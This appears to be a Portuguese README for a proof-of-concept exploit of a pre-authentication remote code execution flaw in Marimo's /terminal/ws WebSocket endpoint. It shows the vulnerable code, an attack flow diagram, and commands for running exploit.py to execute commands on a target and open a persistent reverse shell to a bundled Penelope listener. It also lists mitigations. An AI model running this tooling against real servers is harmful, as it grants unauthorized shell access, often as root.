
Exploração do Marimo anterior à versão 0.23.0. Vulnerabilidade de RCE pré-autenticação através do endpoint websocket: /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Execução Remota de Código sem autenticação prévia no Marimo, um servidor de notebooks Python reativo.
Uma única conexão WebSocket não autenticada para /terminal/ws gera um shell PTY interativo completo como o usuário que executa o processo do Marimo (frequentemente root em Docker).
Somente para laboratório / testes autorizados (HTB, CTF, engajamento com escopo definido por escrito).
O Marimo expõe um terminal integrado via WebSocket em:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
Outras rotas WebSocket (notadamente /ws para a interface do notebook) chamam corretamente validate_auth().
/terminal/ws não. Ela apenas verifica:
e então imediatamente:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
Nenhum cookie, token, senha ou cabeçalho Authorization é exigido — mesmo quando a autenticação está habilitada na instância.
Impacto: execução arbitrária de comandos sem autenticação com os privilégios do processo do Marimo. Nas imagens de contêiner padrão, isso é frequentemente root.
Arquivo (árvore vulnerável): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
Compare com o WebSocket do notebook (ws_endpoint.py), que aplica a autenticação:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws sem credenciais| Status | Versões |
|---|---|
| Vulnerável | Marimo <= 0.20.4 (pré-correção) |
| Corrigido | Marimo 0.23.0 e posteriores |
Qualquer implantação que exponha o WebSocket do terminal (modo de edição, com suporte a PTY) sem um gateway de autenticação externo está no escopo.
| Arquivo | Função |
|---|---|
exploit.py | PoC: execução de comandos + shell reverso persistente + lançador do Penelope |
penelope.py | Manipulador de shell autônomo (standalone) (brightio/penelope) |
README.md | Este arquivo |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
O penelope.py não precisa de dependências extras (biblioteca padrão do Python 3.6+).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
O que acontece:
/terminal/ws0.0.0.0:4444python3 exploit.py -h
O Penelope é fornecido como um script autônomo (standalone) (penelope.py):
Fluxo padrão (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
O processo filho é usado de propósito: os.execv(penelope) substitui a imagem do processo pai, o que mataria a thread em segundo plano.
Penelope manual:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, chaves SSH), audite conexões de saída e persistênciaEste projeto é apenas para testes de segurança autorizados, educação e pesquisa defensiva.
Você é responsável por cumprir as leis aplicáveis e as regras de engajamento do seu laboratório ou cliente.